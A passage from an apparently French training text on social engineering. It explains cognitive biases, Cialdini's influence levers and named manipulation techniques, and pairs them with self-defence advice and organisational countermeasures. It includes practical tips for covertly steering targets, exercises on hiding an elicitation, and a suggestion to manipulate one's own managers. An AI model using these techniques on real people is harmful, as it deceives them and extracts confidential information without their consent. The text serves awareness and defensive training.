le centrage sensoriel, le repos sensoriel ou la confusion mentale qui nous paraissent les plus
courants.
Même sans être nécessairement capable de les mettre en œuvre, il est particulièrement utile de
s’entraîner à les détecter de manière à s’en prémunir.
Restrict
ed
4. Cohérence et recherche de « pattern »
Bernard Blier, "Quand passent les faisans" (1965), écrit par Michel Audiard
Bien que nous reviendrons sur le phénomène de besoin de cohérence lorsque nous parlerons des
ressorts de la manipulation, il paraît utile d’en dire quelques mots ici.
La taille du cortex préfrontal chez l’homme le distingue largement des autres animaux et lui donne
des capacités cognitives inégalées. La capacité à créer des liens logiques entre les événements est en
effet en général un atout exceptionnel et d’un point de vue darwinien il est plus efficace de détecter
des logiques même lorsqu’il n’y en a pas (faux positifs) que manquer de prévoir un phénomène
dangereux.
Cette recherche de logique est donc toujours présente, soit consciente, soit en tâche de fond, et
induit l’un des moteurs les plus importants chez l’être humain : le besoin de cohérence et de schéma
logique.
Nous pouvons comprendre les phénomènes, déduire, abstraire, utiliser des symboles, anticiper,
élaborer des stratégies, créer de la cohérence et chercher des logiques, mais cela va paradoxalement
conduire à de nombreux pièges qui pourront être utilisés comme leviers.
5. Conclusion
Notre cerveau humain est extrêmement versatile, rapide, efficace et résilient. Et pourtant nous
constatons qu’il est hautement influençable.
Pour analyser les situations, il utilise des heuristiques adaptées aux types d’événements qu’il
rencontre habituellement dans la nature.
Il ne fonctionne pas comme un ordinateur et utilise souvent des processus que l’on pourrait appeler
de "bas niveau", c’est-à-dire instinctifs et émotionnels dans la prise de décision, la raison intervenant
alors a posteriori pour rationaliser les actions.
Le cerveau présente donc de nombreux biais et backdoors. Il peut de ce fait facilement faire des
erreurs parfois absurdes et souvent persistantes.
C’est essentiellement en se plaçant hors de ses conditions normales de fonctionnement que l’on peut
optimiser les chances de le leurrer et d’exploiter ses failles.
6. Exercices
Le téléphone est l’un des outils préférés des ingénieurs sociaux. Il y a de nombreuses raisons à cela.
Au regard des points développés jusqu’ici, retrouvez les avantages que comporte l’usage du
téléphone.
b. Camouflage final
En vous appuyant sur les biais cognitifs de la mémoire que vous connaissez, établissez une liste de
bonnes pratiques favorisant la discrétion concernant l’élicitation et le camouflage final.
Restrict
ed
Influence et manipulation
Le cœur du travail de l’ingénieur social consiste à extraire des informations non diffusées,
confidentielles ou protégées. Cela va le plus souvent solliciter la capacité d’influencer les personnes
contactées. Il existe différentes méthodes pour cela, pour lesquelles il est nécessaire d’avoir un
vocabulaire précis.
1. Méthodes d’influence
a. Influence
Le terme d’influence, en français au moins, a un sens bien plus large que celui de manipulation.
Influencer, c’est obtenir un changement quelconque dans les conceptions, les croyances, les
motivations et, in fine, les comportements d’une cible.
On peut être influencé par des pulsions, des peurs, des désirs, des regrets, des sentiments, des
valeurs et même parfois par des arguments logiques.
Ce que l’on peut classer comme des techniques d’influence recouvre des procédés aussi divers que la
coercition, le chantage, le lavage de cerveau, la corruption, mais aussi l’usage légitime de l’autorité,
la propagande politique, la publicité, le management, la rétribution équitable, la pédagogie, la
persuasion, la démonstration scientifique, entre autres.
Ces méthodes sont bien sûr, souvent, hors du périmètre d’emploi de l’ingénieur social pour des
raisons éthiques ou pratiques.
Nous savons qu’un ingénieur social favorise les procédés les plus économiques, les moins risqués, les
plus discrets. Le choix des facteurs d’influence mis en œuvre sera donc primordial.
Pour bien le comprendre, il sera essentiel de distinguer les ressorts internes ou internalisés et les
ressorts externes. Les facteurs externes sont des éléments de motivation indépendants de la cible
alors que les facteurs internes lui appartiennent. Les facteurs internalisés sont, eux, des facteurs
initialement externes que la cible a intégrés. Par exemple, une récompense est un facteur externe, la
conscience professionnelle est un facteur interne et l’espoir d’obtenir à nouveau une récompense est
un facteur internalisé.
En effet, bien qu’elle soit souvent efficace, l’utilisation de ressorts externes contraint nécessairement
à la présence du facteur d’influence pour en garantir la continuité. Au contraire, l’activation de
facteurs internes ou, dans une moindre mesure, internalisés garantit beaucoup mieux la durabilité
des effets.
La séduction est simplement ici comme une forme particulière d’influence par tentation.
L’intimidation peut être considérée comme le pendant négatif de la tentation. Il s’agit d’obtenir un
comportement en annonçant ou laissant imaginer les conséquences désagréables d’un refus. Ici aussi
le fait d’avoir les ressources pour mettre à exécution la menace n’a pas d’importance dans le
Restrict
ed
phénomène. Comme pour la tentation, les ressorts en jeu seront essentiellement externes et les
traces laissées par la manœuvre seront souvent flagrantes.
Quoi qu’il en soit, tentation, séduction et intimidation doivent être utilisées avec parcimonie en
ingénierie sociale car elles s’appuient essentiellement sur des facteurs externes, manquent souvent
de discrétion, et peuvent laisser des traces, au moins dans l’esprit de la victime.
c. Manipulation
Nous utiliserons ici le mot manipulation dans le sens que lui donne la psychologie sociale (Beauvois-
Jouve), c’est-à-dire l’ensemble des techniques destinées à obtenir des comportements de la part
d’une cible sans qu’elle ait conscience ni de leurs objectifs réels ni de leurs conséquences et en
utilisant essentiellement des ressorts internes ou internalisés.
Il faut noter par ailleurs que cela ne présage pas de l’aspect moralement condamnable de la
méthode. Il est possible dans certains cas que les conséquences recherchées soient bénéfiques pour
la cible mais que le fait de la garder dans l’ignorance du processus soit un facteur d’efficacité.
D’après cette définition, il est clair que la manipulation exclut donc l’usage de la force ou de la
corruption. Elle se positionne souvent à la limite de l’intimidation et la séduction.
Les grands ressorts de la manipulation sont présentés en détail dans l’ouvrage de Robert Cialdini
"Influence et manipulation", dont nous conseillons vivement la lecture. Ces ressorts ne sont pas des
méthodes de manipulation en tant que telles mais constituent leur moteur. Ils sont donc le plus
souvent inclus dans les techniques de manipulation plus élaborées que nous verrons dans la section
Les techniques de manipulation de ce chapitre.
Si leur connaissance pourra servir pour préparer des attaques optimales, nous constaterons leur
utilité pour la "self-défense". Ces ressorts sont en effet le bon niveau auquel se placer pour contrer
une manipulation.
Pour illustrer cela, et parce que c’est la manière la plus concise de le présenter, nous utiliserons le
modèle du cerveau "triunique", au moins en termes de fonctions et avec toutes les réserves déjà
formulées à ce sujet.
a. Cohérence
La recherche de cohérence est peut-être le ressort de manipulation le plus puissant chez l’être
humain. Il provoque de nombreux phénomènes décrits notamment dans la théorie de l’engagement
étudiée en psychologie sociale.
L’engagement induit essentiellement la persistance dans les comportements, les jugements, les
sentiments et les croyances, et intervient très souvent à divers degrés dans les techniques de
manipulation que nous présenterons.
Les facteurs favorisant l’engagement sont son caractère libre, coûteux, difficilement réversible,
explicite et public. Pour des raisons évidentes, l’ingénieur social jouera peu sur ce dernier facteur,
mais tous les autres devront être pris en compte.
Il est probable que ce besoin soit dû, entre autres, à l’extrême développement de nos fonctions
cognitives supérieures que nous appelons ici le centre mental. Nous exprimerons le fait de nous
laisser manipuler ou de nous auto-manipuler par besoin de cohérence, en disant que notre centre
Restrict
ed
mental "veut" travailler seul, sans prendre en compte les informations venant des centres
émotionnels et instinctifs.
La base de la self-défense face au besoin de cohérence consiste donc à écouter son centre
émotionnel, ce qui va se traduire par des manifestations somatiques connues comme une boule dans
l’estomac ou la gorge qui se serre. Ces manifestations doivent être prises comme des indicateurs
clairs qu’une partie de notre cerveau cherche à nous mettre en garde.
b. Réciprocité
La réciprocité est une tendance profondément ancrée en nous. Elle a été et est toujours
fondamentale pour maintenir la cohésion sociale des groupes humains. Il s’agit d’une pulsion à
rendre un don, un service, une faveur qui nous a été faite par un autre humain. Si on y ajoute des
biais cognitifs d’évaluation de valeurs, on comprend aisément comment nos bons sentiments
peuvent être retournés contre nous pour nous manipuler.
Cette pulsion de réciprocité, qui existe aussi chez de nombreuses espèces animales, a quelque chose
de très instinctif. Il s’y ajoute chez l’homme (et certains animaux) la capacité à reculer, parfois
longtemps après, le retour de faveur, ce qui permettra dans certains cas une exploitation différée de
ce ressort.
Ce besoin de réciprocité s’exploite en provoquant une situation d’échange inéquitable. Il est souvent
utilisé en ingénierie sociale à travers le conseil gratuit, la dette forcée, le couplage sabotage-
réparation, l’essai gratuit, ou la fausse concession.
Face à la réciprocité, qui attaque nos centres instinctif et émotionnel en même temps, il est parfois
extrêmement difficile de réagir. Ce qui peut paraître le plus étonnant est que le fait de détecter le
subterfuge ne fait pas disparaître pour autant la pulsion. Il devient alors urgent d’être capable
d’utiliser son centre mental afin de réexaminer et de relativiser la faveur faite, notamment afin de
réestimer sa valeur réelle.
Prendre en compte le fait que la faveur ait été sollicitée ou non est bien sûr un élément important.
Toutefois, il ne faudra pas perdre de vue que dans certains cas la cible pourra avoir été amenée à
faire la demande elle-même. Dans ce cas, seule l’estimation la plus objective possible de la valeur
réelle de la faveur pourra permettre de renverser la tendance à la réciprocité.
c. Preuve sociale
La preuve sociale est un processus heuristique qui nous pousse à travers notre instinct grégaire à
choisir de nous comporter en cohérence avec un groupe. Il s’agit, face à une situation pour laquelle
nous n’avons pas l’ensemble des éléments nécessaires pour une prise de décision logique, de nous
fier au comportement, à l’attitude ou aux conclusions d’un groupe auquel nous nous sentons
appartenir. Son intérêt réside dans les économies de traitement et de temps qu’il offre à notre
cerveau.
En termes de détournement, on constate son efficacité à travers des utilisations comme les
phénomènes de mode, la claque tarifée ou les rires enregistrées en bande-son de certaines
émissions télévisées, souvent de qualité médiocre. Les facteurs favorisants sont l’incertitude, la non-
disponibilité des informations pertinentes, le poids du conformisme, et parfois la tension
émotionnelle.
Restrict
ed
Le processus consiste à présenter volontairement des preuves sociales fausses (sans preuve),
falsifiées (introduction de données fausses concernant la preuve) ou indûment mises en avant.
Exemple : "Il y a consensus sur ce sujet", "Tout le monde fait comme ça.", "It is known, Khaleesi"
Une modélisation possible de ce qui se passe lors de l’exploitation de la preuve sociale peut être
celle-ci : le centre mental tourne en boucle face à un doute dû à un manque de données pertinentes,
cherchant une réponse logique impossible à produire et laissant le pilotage de l’action au centre
instinctif à travers une compulsion de mimétisme social.
La détection de l’attaque est comme toujours un préalable à la défense, mais n’est pas toujours
suffisante pour permettre à la victime de refréner sa pulsion. Une fois encore, le ressort est puissant
et la défense est difficile d’autant plus contre cette pulsion qui a souvent pu s’avérer utile par
ailleurs.
Il est donc indispensable, lorsque l’on détecte l’usage de la preuve sociale contre nous, de rediriger
notre réflexion vers les éléments de preuves sociales présentées afin de remettre en cause leur
validité ou leur pertinence, et d’envisager la possibilité qu’elles aient été falsifiées.
En parallèle, comme le dit Robert Cialdini ("Influence et manipulation"), la défense consiste, dès que
l’on détecte une mise en avant d’une preuve sociale, à désactiver le "pilote automatique" instinctif,
qui dans le doute nous pousse à suivre la masse, afin de se donner le temps nécessaire à réduire le
doute, tant au sujet de la décision elle-même qu’à celui de la preuve présentée.
d. Autorité
L’autorité, ou plutôt la soumission à l’autorité, est un autre processus heuristique qui nous pousse,
en particulier en situation d’urgence, de surprise ou de stress, à nous en remettre à une figure faisant
autorité dans la conduite de l’action et la prise de décision. On peut constater les effrayantes
potentialités de la soumission à l’autorité dans la célèbre expérience de Milgram.
Le stratagème consiste donc à prendre les attributs de l’autorité grâce à des symboles, des
déguisements, des attitudes, des usages ou des déclarations.
Là encore, cette méthode s’avère très efficace. La mise en scène, la présentation de soi, l’exploitation
de rituels ou d’accessoires sont autant d’outils permettant de renforcer la crédibilité de l’autorité.
Une pratique courante consiste à étaler de manière anodine des renseignements qui vont laisser
penser à la cible que l’ingénieur social est un proche de hautes autorités hiérarchiques de
l’organisation.
Il faut noter que l’autorité est à distinguer de l’intimidation. L’intimidation pourrait parfois être un
stratagème ou un facteur de stress et de surprise supplémentaire favorisant l’acceptation de
l’autorité. Cependant, la base du processus est avant tout la reconnaissance que la personne a ou fait
autorité dans le domaine concerné.
La première étape de la défense est bien sûr toujours la détection du processus dès lors qu’une
figure d’autorité inconnue ou non authentifiée émet une requête. La défense est ici sensiblement
plus facile que pour les autres ressorts.
La première étape consiste à réduire le stress et l’effet de surprise en relativisant l’urgence. Cela
permettra de prendre le temps nécessaire pour effectuer quelques vérifications simples, en
particulier l’authentification de l’identité de l’autorité d’une part, et sa légitimité à faire la requête
d’autre part.
Restrict
ed
e. Sympathie
La sympathie est la traduction du terme anglais liking, utilisé en particulier par Robert Cialdini. Nous
avons tous plus ou moins tendance à nous préoccuper de nos proches, de nos amis ou des personnes
qui nous semblent mériter notre sympathie. Il s’agit là aussi d’une tendance fortement ancrée dans
notre biologie animale.
Cette tendance est une fois de plus facilement exploitable. Des réunions Tupperware au marketing
viral, ce ressort a lui aussi été largement exploité et étudié.
En fait, il y a tant de manières de susciter la sympathie, dont certaines agissant directement sur
l’inconscient de la cible, qu’il serait tout à fait vain d’espérer être capable de les contrer toutes.
Paradoxalement, plutôt que de vouloir refuser la sympathie, la solution consiste souvent à l’accepter
et la laisser se développer, ce qui nous aidera à prendre conscience que ce sentiment s’est développé
trop rapidement compte tenu des circonstances.
Ici, à nouveau, le fait de détecter le subterfuge ne suffira pas, en soi, à s’en protéger, mais doit
permettre d’enclencher sa défense. Il s’agira principalement de séparer mentalement la personne de
sa requête afin de l’analyser plus rationnellement et d’en évaluer objectivement le coût, les
conséquences et les risques. Il est alors facile de retourner la sympathie contre l’ingénieur social pour
refuser sa demande.
f. Rareté
Le terme utilisé en anglais par Robert Cialdini est scarcity, qui peut se traduire par pénurie ou rareté.
Il s’agit de la tendance à attribuer une valeur plus grande à une denrée ou une opportunité dont la
disponibilité semble limitée.
Largement utilisé dans les techniques de vente, ce ressort tire son efficacité du renforcement mutuel
des nombreux phénomènes qui le sous-tendent tels que notre goût souvent justifié pour les
méthodes heuristiques, les biais cognitifs de perception et de jugement, l’instinct de survie et
d’appropriation de ressources, la peur du manque ou encore le désir de conserver le plus d’options
disponibles.
Ainsi, un coup de fil en numéro masqué nous intrigue, un produit en rupture de stock devient plus
attirant, une opportunité qui semble nous filer entre les doigts va nous intéresser davantage et, dans
une boîte de chocolats, nous préférons ceux dont il reste le moins. Les moyens d’exploiter ces
pulsions sont nombreux et couramment utilisés. On peut citer en exemple le stratagème de la vente
flash ou de la disponibilité limitée d’un produit.
Un facteur facilitant inattendu, dû au biais de comparaison, est que la raréfaction est encore plus
importante que la rareté en elle-même.
Face à l’utilisation de la rareté comme ressort de manipulation, la réponse est tout sauf aisée et la
détection du stratagème n’est pas intrinsèquement suffisante à s’en défendre. En effet, lorsque nous
constatons la raréfaction, notre centre instinctif demande à notre centre mental d’élaborer très vite
Restrict
ed
une stratégie pour conserver la disponibilité de la ressource, ce qui nous empêche largement de
penser à autre chose, alors qu’en parallèle se forme une réaction émotionnelle de frustration.
C’est cette réaction émotionnelle qu’il faudra surveiller et utiliser comme signal d’alerte.
La méthode consiste à commencer par contrôler notre réaction émotionnelle qui autrement court-
circuiterait notre conscience. Il serait trop long d’exposer ici les méthodes classiques de contrôle
émotionnel. Rappelons seulement qu’elles passent presque toutes par un contrôle de la respiration.
Mais nous n’en avons pas fini avec la pulsion. Il nous faudra ensuite nous demander pourquoi l’on
veut réellement la ressource rare, en particulier séparer rationnellement notre désir de posséder la
chose rare de notre désir d’en avoir la jouissance en éliminant mentalement la rareté. Ce procédé
permettra enfin de réévaluer la valeur de la ressource de manière plus objective.
Restrict
ed
Les techniques de manipulation
Nous devons maintenant voir comment exploiter en pratique les failles et les ressorts de la psyché
humaine décrits précédemment.
La typologie des techniques présentées ici reprend la classification connue en psychologie sociale et
popularisée par Jean-Léon Beauvois et Robert-Vincent Jouve dans le maintenant classique "Petit
traité de manipulation à l’usage des honnêtes gens". Nous recommandons vivement la lecture de cet
ouvrage à ceux qui souhaitent approfondir le sujet des techniques de manipulation.
Les techniques de manipulation peuvent tout d’abord être classées en "grandes techniques" et
"petites techniques". Toutefois, ne nous laissons pas abuser par la terminologie : les petites
techniques n’ont de petit uniquement le fait qu’elles viennent en complément des grandes.
On peut en fait considérer les grandes techniques comme des trames opératoires omniprésentes et
les petites comme l’habillage indispensable. La combinaison harmonieuse des deux est le gage du
succès.
Les études de psychologie sociale mesurant les effets des diverses techniques ne manquent pas.
Nous ne les rapporterons pas ici.
Pour être en mesure de se défendre contre les manipulations, il est indispensable de savoir détecter
ces techniques lorsqu’elles sont mises en œuvre. Il faudra ensuite être capable de reconnaître les
ressorts qu’elles utilisent.
Le fondement de la méthode consiste à présenter à une victime une situation falsifiée de manière à
lui faire amorcer le choix, conscient ou pas, d’obtempérer à la requête cible avant qu’elle ne dispose
de l’ensemble des éléments pertinents pour en décider.
La victime aura tendance à persévérer dans sa décision même si elle a accès aux bonnes informations
entre-temps.
Il est important de noter que l’engagement de la victime et les requêtes peuvent dans certains cas
être tacites.
Par exemple, se présenter comme une autorité peut être considéré comme une requête tacite, la
déférence hiérarchique avec laquelle la cible répondra peut être là aussi considérée comme un
engagement tacite à obtempérer. Toutefois, un engagement est toujours plus efficace lorsqu’il est
formulé.
Ainsi, l’une des principales techniques d’amorçage consiste donc à obtenir l’assentiment de principe
d’une personne avant de l’informer plus complètement sur l’acte qu’elle a consenti de réaliser. Dans
sa version la plus simple, c’est le classique "Je peux te demander un truc ?".
Une version à peine plus sophistiquée consisterait, par exemple, à demander à la cible de répondre à
un petit questionnaire (pour une raison à définir) sans lui en préciser le nombre de questions.
Restrict
ed
Le processus de persévérance dans la décision s’appuie en grande partie sur le phénomène
d’engagement. Mais les stratagèmes mis en œuvre pour modifier favorablement la situation peuvent
utiliser l’intégralité des ressorts connus.
Le pied dans la porte, que l’on peut aussi appeler "doigt dans l’engrenage", est une technique de
manipulation qui consiste à faire une demande peu coûteuse qui sera vraisemblablement acceptée,
suivie d’une demande plus coûteuse. Cette seconde demande aura plus de chances d’être acceptée
si elle a été précédée de l’acceptation de la première en créant un phénomène d’engagement.
Même s’il est possible de combiner un amorçage et un pied dans la porte, la distinction doit être
claire. Un pied dans la porte ne requiert pas de présenter une fausse situation. Il nécessite en
revanche une action préparatoire engageante.
La première difficulté du processus consiste à bien calibrer la première requête pour qu’elle soit très
difficile à refuser d’une part, mais qu’elle engage suffisamment la victime d’autre part.
Un autre point sur lequel il faut être attentif est le timing. La seconde requête peut être quasi-
immédiate, ou venir plus tard, lors d’un second contact, mais il y a bien entendu un laps de temps
maximal.
Tout ne peut pas toujours être complètement modélisé et sur ces deux points l’expérience du
manipulateur fera la différence.
c. La porte au nez
Il s’agit de procédés manipulatoires consistant à formuler une requête réaliste mais trop importante
pour qu’elle soit acceptée avant de formuler la requête cible. Les portes au nez s’appuient
essentiellement sur la réciprocité et le biais de comparaison qui modifie la perception de la requête
finale.
On comprend donc bien qu’ici aussi le dosage de la première requête par rapport à la requête cible
revêt une importance particulière.
C’est donc ici que réside l’essentiel de l’art du manipulateur, qui doit exprimer son acceptation du
refus de sa requête avec justesse, c’est-à-dire sans paraître en diminuer le coût.
Les grandes techniques de manipulation seules seraient souvent incomplètes. Une très grande part
de leur efficacité vient de l’ajout opportun d’une ou plusieurs petites techniques.
Il est donc important de comprendre sur quels ressorts jouent ces petites techniques afin de les
utiliser à bon escient pour renforcer le fonctionnement des grandes.
Restrict
ed
L’explication de la dénomination de "pied dans la bouche" reste quelque peu obscure. La méthode
consiste à noyer la cible d’attentions, de politesse et de marques d’intérêt. Comme souvent, le
procédé n’est pas intuitif et on a tendance à penser qu’il sera facilement éventé.
L’expérience montre qu’il n’en est rien et que la méthode basée sur l’exploitation de la sympathie a
une efficacité passant largement sous le seuil conscient.
Nous regroupons ici l’ensemble des petites techniques destinées à établir un contact sensoriel avec
la cible. Il peut s’agir du ton de la voix, de regards qui se croisent ou de toucher. Comme toujours,
l’intensité doit être dosée, mais on peut aller sensiblement plus loin que ce que l’on aurait fait de
manière naturelle. Par exemple, un toucher de la main d’une durée inférieure à une seconde aura
tendance à rester sous la zone de conscience, mais il ne sera pas moins efficace.
D’une manière générale, l’utilisation du contact créera une tolérance de la présence de l’autre et un
sentiment de proximité. On comprend donc comment cela pourra favoriser la sympathie et la
réciprocité.
c. Pièges de la cohérence
Un des pièges omniprésents de la cohérence est ce que l’on nomme la dissonance cognitive. Il s’agit
d’une sensation d’inconfort en présence de deux cognitions inconciliables. Face à une dissonance
cognitive, nous allons mettre en jeu toutes les stratégies possibles pour la réduire. C’est cette
tendance que l’ingénieur social va pouvoir exploiter. La notion de dissonance cognitive a donné lieu à
une théorie largement documentée.
Parmi les autres phénomènes liés à la cohérence, la rationalisation est sans doute l’un des plus utiles
à l’ingénieur social. La rationalisation est la démarche qui consiste à trouver une justification a
posteriori à une action engagée. Cette démarche satisfait notre besoin de schémas logiques et
permet aussi de réduire la dissonance cognitive provoquée par l’action en question.
La manœuvre manipulatoire consistera à exprimer pour la cible, et idéalement lui faire valider ou
réexprimer, les raisons qui l’ont conduit à agir en premier lieu. Les raisons formulées devront donc
être choisies avec précision de manière à renforcer les futurs comportements attendus.
Par construction, cette technique est tout particulièrement utile en complément du pied dans la
porte.
Il faut noter enfin une technique particulièrement "élégante" qui est celle de la rationalisation en
acte. Ici, la rationalisation n’est pas verbalisée, mais c’est un comportement en cohérence avec le
précédent qui viendra renforcer la cohérence de l’ensemble.
d. Étiquetage
L’étiquetage est une technique très utile, qui consiste à faire une déclaration concernant la cible dans
le but de renforcer les ressorts utilisés dans le cadre d’une grande technique. L’intérêt est de faire
prendre à cette déclaration un aspect performatif, c’est-à-dire que la déclaration devienne autant
que possible auto-réalisatrice : "Vous êtes sympathique", "Dans la boîte, on a l’esprit d’équipe",
"Nous savons pourquoi nous faisons ça", "Vous êtes un homme courageux", etc.
Bien sûr, l’étiquetage doit rester subtil et crédible, même si l’allégation est fausse.
Restrict
ed
Il s’agit de faire un constat sur la personne cible de manière à renforcer la cohérence de sa prise de
décision. Il faut donc choisir un étiquetage qui sera facilement accepté par la cible, soit parce qu’il est
gratifiant, soit parce qu’il réduit la dissonance cognitive ressentie.
Le moment pour utiliser l’étiquetage doit aussi être choisi avec attention afin de ne pas nuire à la
cohérence de la grande technique employée. Un étiquetage à la suite de la première requête d’une
porte au nez pourrait par exemple s’avérer totalement contre-productif.
e. Déclaration de liberté
La déclaration de liberté fait partie des techniques redoutables. Ses effets sont multiples et puissants,
même lorsqu’elle est détectée.
Elle vient tout d’abord en renforcement du principe même de manipulation, car cette simple
déclaration va favoriser l’intériorisation et la rationalisation des moteurs d’influence. Si on est libre,
c’est que notre motivation est interne.
Elle peut aussi engendrer une forme de culpabilisation, car si je suis libre, je suis responsable.
La déclaration de liberté trouve son utilité optimum juste avant la prise de décision, soit de la
requête cible, soit d’une requête préparatoire et permet souvent le passage à l’acte.
Technique qui consiste simplement à préciser que faire un petit geste, c’est mieux que de ne rien
faire du tout. Le fait de réduire ses attentes va être considéré comme une concession nécessitant
réciprocité et donc favorisant le comportement attendu.
Conditionnement affirmatif
Technique qui consiste à poser un certain nombre de questions préliminaires qui appelleront un
"oui" avant de faire la requête cible. Le taux de réussite de ce procédé est assez faible par rapport
aux autres méthodes. Il est donc cité uniquement pour mémoire.
Cohérence artificielle
Technique qui consiste à créer de la cohérence artificielle en rajoutant des mots de liaison indiquant
la causalité, sans lien logique, sans vraie justification rationnelle ou sans valeur ajoutée sémantique.
On comprend aisément que le succès d’un "Puis-je passer devant vous à la photocopieuse ?" soit
amélioré par un "C’est pour les participants à une réunion de direction en cours". Il faut savoir qu’il
sera aussi amélioré par un "Parce que je suis pressé" et même à l’extrême par un "Parce que j’ai des
photocopies à faire" !
Le réel besoin de cohérence propre à l’auteur l’a toujours refréné dans l’utilisation de cette méthode,
mais le lecteur doit pouvoir se sentir libre de le faire s’il le souhaite.
Restrict
ed
Crainte puis soulagement
La crainte puis le soulagement correspond à la méthode classique du good cop - bad cop. Le nom de
la méthode est assez explicite : il s’agit de faire peur à la cible avant de la rassurer. C’est le
soulagement qui provoque la soumission à la requête et non la crainte. Il est possible de l’utiliser en
ingénierie sociale si les circonstances s’y prêtent. Toutefois, la phase crainte qui s’apparente à
l’intimidation voire à la menace est souvent hors périmètre pour des raisons déjà évoquées.
Le pied dans la mémoire est en fait un pied dans la porte plus élaboré. Il s’agit, après le premier acte
préparatoire engageant du pied dans la porte, de faire appel à la mémoire du sujet pour qu’il y
trouve des souvenirs venant renforcer son engagement actuel en se rappelant des cas dissonants où
il ne l’a pas fait.
L’efficacité statistique de la méthode a été prouvée, mais les applications en ingénierie sociale sont
moins courantes.
La technique du "ce n’est pas tout" est une technique classique en vente qui consiste à diminuer le
coût apparent ou relatif d’une requête, par exemple en offrant plus pour le même prix. Là encore, les
applications en ingénierie sociale seront rares mais pas impossibles.
3. Exercices
En s’appuyant sur les moteurs sous-jacents, effectuez pour vous un tableau de synthèse indiquant,
phase par phase, quelles grandes et petites techniques se combineront le mieux en le justifiant.
En s’appuyant sur le modèle du cerveau "triunique", présenter dans un tableau les techniques de
manipulation phase par phase au regard des ressorts. En conclure les techniques de self-défense
applicables contre chaque technique dans les différents cas.
Expliquer comment les biais cognitifs de la mémoire peuvent être utilisés pour camoufler une
"élicitation" immédiatement après avoir obtenu l’information recherchée.
Restrict
ed
Savoir "patcher" les failles humaines
Bien entendu, les éléments présentés précédemment ont pour but essentiel d’être capables de
comprendre les attaques d’ingénierie sociale afin d’y trouver les réponses les plus adaptées.
Ainsi, il faut être conscient que face à l’utilisation de plus en plus courante de l’ingénierie sociale, les
stratégies de sécurité doivent prendre en compte le système d’information dans sa globalité et
s’appuyer d’une part sur la sensibilisation, l’information et la formation du personnel, d’autre part
sur l’amélioration des aspects organisationnels et la maturité réelle de l’organisation à protéger.
Nous le savons, tout être humain peut être manipulé. Il sera donc indispensable de sensibiliser les
membres de l’organisation sur les techniques d’attaque et de défense présentées ici. Cela passe bien
sûr, tout d’abord, par des séances d’information ciblant la totalité de l’organisation. Rien de nouveau
ici, sauf qu’en pratique cela pose souvent des difficultés.
Les techniques de manipulation et de self-défense restent encore très peu diffusées, ce qui veut dire
que les humains arrivent presque toujours "non patchés".
Par ailleurs, les personnes les plus exposées en raison de leur position hiérarchique sont aussi celles
qui peuvent facilement juger inutile d’être formées sur le sujet.
Enfin, la mémoire n’est pas parfaite et on ne pourra jamais considérer qu’une personne ayant fait
l’objet d’une sensibilisation ou d’une formation est pour autant immunisée aux attaques par
ingénierie sociale.
En revanche, un avantage pour le défenseur est que les vulnérabilités de l’humain sont maintenant
bien connues et peu évolutives. En clair, il n’existe pas de Jeux Olympiques pour les failles humaines.
Seule la manière de les exploiter changera par l’utilisation les vecteurs technologiques des plus
modernes.
1. Volonté politique
Une étude de risques détaillée préalable devra permettre de réfléchir au niveau de défense à mettre
en œuvre. Nous savons que la SSI n’apporte pas de valeur ajoutée directe, il est donc important pour
toute organisation de ne pas y surconsommer de ressources. Mais dans la plupart des cas, le risque
de surprotection est très faible car les ressources habituellement consacrées à la lutte contre
l’ingénierie sociale sont souvent minimales.
Cette étude devra donc conduire à l’élaboration d’une politique adaptée aux risques et d’une
stratégie documentée, puis à la mise en place de moyens et de ressources structurels, financiers,
humains et organisationnels.
Cela ne se fera qu’avec une volonté politique continue. À cet effet, il sera indispensable de recueillir
l’engagement formel d’un décideur (tant mieux si c’est vous) mandatant un responsable (tant pis si
c’est vous) et lui donnant des moyens concrets.
La défense d’une organisation contre l’ingénierie sociale passera par la mise en place de
changements organisationnels et la mobilisation de ressources. Ces changements
dépendront souvent de personnes pour qui la SSI en général et le Social Engineering - L’ingénierie
sociale en particulier sera la dernière des priorités. Une solution consisterait à utiliser la persuasion à
travers un argumentaire précis concernant les risques.
Restrict
ed
Mais nous savons maintenant que la persuasion est bien moins efficace que la manipulation. Pour
obtenir ces engagements, les techniques de manipulation présentées dans ce chapitre seront
parfaitement adaptées.
2. Méthodologie
Il n’y a sans doute pas d’autre moyen. La protection contre les attaques d’ingénierie sociale passe par
les méthodologies professionnelles. Il est donc indispensable de rappeler que, si elles existent dans
l’organisation à défendre, il sera plus efficient de :
Nous abordons ici un point sensible de la défense contre l’ingénierie sociale. Les audits et les tests
sont des éléments qui apporteront des éléments de mesure concrets pour l’amélioration de la
sécurité de l’organisation.
Nous devons constater que la plupart des tests de pénétration par ingénierie sociale proposés par
des entreprises de sécurité reprennent des procédés techniques
classiques, phishing, spearphishing, mediadropping et tailgating, avec souvent peu de
discernement ni d’étude stratégique préalable.
Or, idéalement, les tests de pénétration par ingénierie sociale devraient suivre la méthode décrite
dans ce chapitre.
Il sera cependant indispensable de prendre les mêmes précautions légales que pour un test de
pénétration technique. Avoir une autorisation et un mandat clair, prévenir les personnes au bon
niveau, ne pas faire de dégâts et rester réaliste dans les méthodes employées sont quelques bonnes
pratiques à respecter.
Il sera aussi nécessaire de garder en mémoire la très grande efficacité des méthodes de
manipulation, afin d’éviter de mettre les cibles en position délicate. En effet, même en gardant
anonymes les rapports de test, il sera très souvent possible de reconnaître les personnes ayant
donné tel ou tel type d’information.
Il est donc particulièrement malvenu de faire des tests de pénétration avant d’avoir mis en place les
procédures de défense et sensibilisé les employés. L’objet du test n’est pas de découvrir des failles
qui, de toute façon, existeront, mais de vérifier que les mesures correctives sont bien appliquées.
Même là, il sera nécessaire de rester extrêmement prudent et mesuré dans toute conclusion mettant
en cause la responsabilité des personnes, d’abord parce que les mesures à prendre sont toujours au
moins autant organisationnelles qu’individuelles, mais aussi parce qu’il en va de l’efficacité des
retours d’expérience et de détection d’intrusion réelle.
Bien évidemment, les retours d’expérience et la remontée d’information sur les intrusions et
tentatives d’intrusion réelles ont au moins autant d’importance que les résultats de tests. Autant il
est relativement facile de recueillir des informations après une tentative d’intrusion détectée, autant
Restrict
ed
une attaque complète et bien menée fera rarement l’objet d’un compte-rendu. D’abord parce que,
d’une part, elle sera restée discrète, mais surtout parce que même si la victime a réalisé a posteriori
avoir été la cible d’une "élicitation" malveillante, le plus souvent elle craindra plus les conséquences
de son compte-rendu que celles de son acte.
Donc, au-delà de l’importance des actions concrètes à mener, le changement de paradigme face à
l’erreur individuelle est un facteur fondamental dans une politique de défense.
Lorsque la quantité d’information traitée par le système d’information à protéger le justifie, il devient
